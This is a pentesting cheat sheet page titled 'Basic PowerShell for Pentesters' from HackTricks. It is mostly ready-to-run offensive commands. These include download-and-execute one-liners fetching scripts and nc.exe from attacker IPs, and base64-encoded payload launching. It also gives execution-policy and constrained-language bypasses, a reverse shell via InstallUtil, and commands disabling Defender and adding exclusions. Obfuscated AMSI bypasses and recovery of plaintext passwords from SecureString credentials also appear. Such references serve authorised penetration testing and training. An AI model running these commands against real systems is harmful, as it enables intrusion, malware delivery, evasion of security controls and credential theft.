HackTricks
Search…
Pentesting
Powered By GitBook
Basic PowerShell for Pentesters

Default PowerShell locations

1
C:\windows\syswow64\windowspowershell\v1.0\powershell
2
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Copied!

Basic PS commands to start

1
Get-Help * #List everything loaded
2
Get-Help process #List everything containing "process"
3
Get-Help Get-Item -Full #Get full helpabout a topic
4
Get-Help Get-Item -Examples #List examples
5
Import-Module <modulepath>
6
Get-Command -Module <modulename>
Copied!

Download & Execute

1
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
2
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
3
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
4
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
5
6
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
7
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
Copied!

Using b64 from linux

1
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
2
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Copied!

Download

System.Net.WebClient

1
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Copied!

Invoke-WebRequest

1
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Copied!

Wget

1
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Copied!

BitsTransfer

1
Import-Module BitsTransfer
2
Start-BitsTransfer -Source $url -Destination $output
3
# OR
4
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Copied!

Base64 Kali & EncodedCommand

1
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
2
PS> powershell -EncodedCommand <Base64>
Copied!

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:
1
1º Just copy and paste inside the interactive PS console
2
2º Read en Exec
3
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
4
3º Read and Exec
5
Get-Content .runme.ps1 | Invoke-Expression
6
4º Use other execution policy
7
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
8
5º Change users execution policy
9
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
10
6º Change execution policy for this session
11
Set-ExecutionPolicy Bypass -Scope Process
12
7º Download and execute:
13
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
14
8º Use command switch
15
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
16
9º Use EncodeCommand
17
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Copied!
More can be found here

Constrained language

1
$ExecutionContext.SessionState.LanguageMode
2
#Values could be: FullLanguage or ConstrainedLanguage
Copied!

Bypass

1
#Easy bypass
2
Powershell -version 2
Copied!
In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\_31bf3856ad364e35\System.Management.Automation.dll_ and change the project to .Net4.5.

Direct bypass:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Copied!

Reverse shell:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Copied!

AppLockerPolicy

Check which files/extensions are blacklisted/whitelisted.
1
Get-ApplockerPolicy -Effective -xml
2
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
3
$a = Get-ApplockerPolicy -effective
4
$a.rulecollections
Copied!

Enable WinRM (Remote PS)

1
enable-psremoting -force #This enables winrm
2
3
## Change NetWorkConnection Category to Private
4
#Requires -RunasAdministrator
5
6
Get-NetConnectionProfile |
7
Where{ $_.NetWorkCategory -ne 'Private'} |
8
ForEach {
9
$_
10
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
11
}
Copied!

Antivirus

1
#Check status
2
Get-MpComputerStatus
3
#Disable
4
Set-MpPreference -DisableRealtimeMonitoring $true
5
#Set exclusion path
6
Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk"
7
#Disable AMSI
8
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
Copied!

PS-History

1
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Copied!

OS version and HotFixes

1
[System.Environment]::OSVersion.Version #Current OS version
2
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
3
Get-Hotfix -description "Security update" #List only "Security Update" patches
Copied!

Environment

1
Get-ChildItem Env: | ft Key,Value #get all values
2
$env:UserName @Get UserName value
Copied!

Other connected drives

1
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Copied!

Recycle Bin

1
$shell = New-Object -com shell.application
2
$rb = $shell.Namespace(10)
3
$rb.Items()
Copied!

Domain Recon

Users

1
Get-LocalUser | ft Name,Enabled,Description,LastLogon
2
Get-ChildItem C:\Users -Force | select Name
Copied!

Secure String to Plaintext

1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
2
$user = "HTB\Tom"
3
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
4
$cred.GetNetworkCredential() | fl
5
6
UserName : Tom
7
Password : 1ts-mag1c!!!
8
SecurePassword : System.Security.SecureString
9
Domain : HTB
Copied!
Or directly parsing form XML:
1
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
2
3
UserName : Tom
4
Password : 1ts-mag1c!!!
5
SecurePassword : System.Security.SecureString
6
Domain : HTB
Copied!

SUDO

1
#CREATE A CREDENTIAL OBJECT
2
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
3
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
4
5
#For local:
6
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
7
8
#For WINRM
9
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
10
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
11
#DOWNLOAD nc.exe
12
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
13
14
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
15
16
#Another method
17
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
18
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
19
$computer = "<hostname>"
Copied!

Groups

1
Get-LocalGroup | ft Name #All groups
2
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Copied!

Clipboard

1
Get-Clipboard
Copied!

Processes

1
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Copied!

Services

1
Get-Service
Copied!

Password from secure string

1
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
2
$cred=new-object system.management.automation.pscredential("administrator", $pw)
3
$cred.getnetworkcredential() | fl * #Get plaintext password
Copied!

Scheduled Tasks

1
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Copied!

Network

Interfaces

1
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
2
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Copied!

Route

1
route print
Copied!

ARP

1
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Copied!

Hosts

1
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Copied!

Ping

1
$ping = New-Object System.Net.Networkinformation.Ping
2
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
Copied!

SNMP

1
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Copied!

AMSI bypass

1
# (old)
2
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
3
4
# (new)
5
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
6
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
7
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
8
$field.SetValue($null,$true)
9
10
# (from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1)
11
$A="5492868772801748688168747280728187173688878280688776828"
12
$B="1173680867656877679866880867644817687416876797271"
13
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
14
substring(($_*2),2))})-replace " " ).
15
GetField([string](38..51|%{[char][int](29+($A+$B).
16
substring(($_*2),2))})-replace " ",'NonPublic,Static').
17
SetValue($null,$true)
18
19
20
# Testing for Amsi Bypass:
21
https://github.com/rasta-mouse/AmsiScanBufferBypass
22
23
# Amsi-Bypass-Powershell
24
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
25
26
https://blog.f-secure.com/hunting-for-amsi-bypasses/
27
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
28
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
29
https://slaeryan.github.io/posts/falcon-zero-alpha.html
Copied!
Last modified 13d ago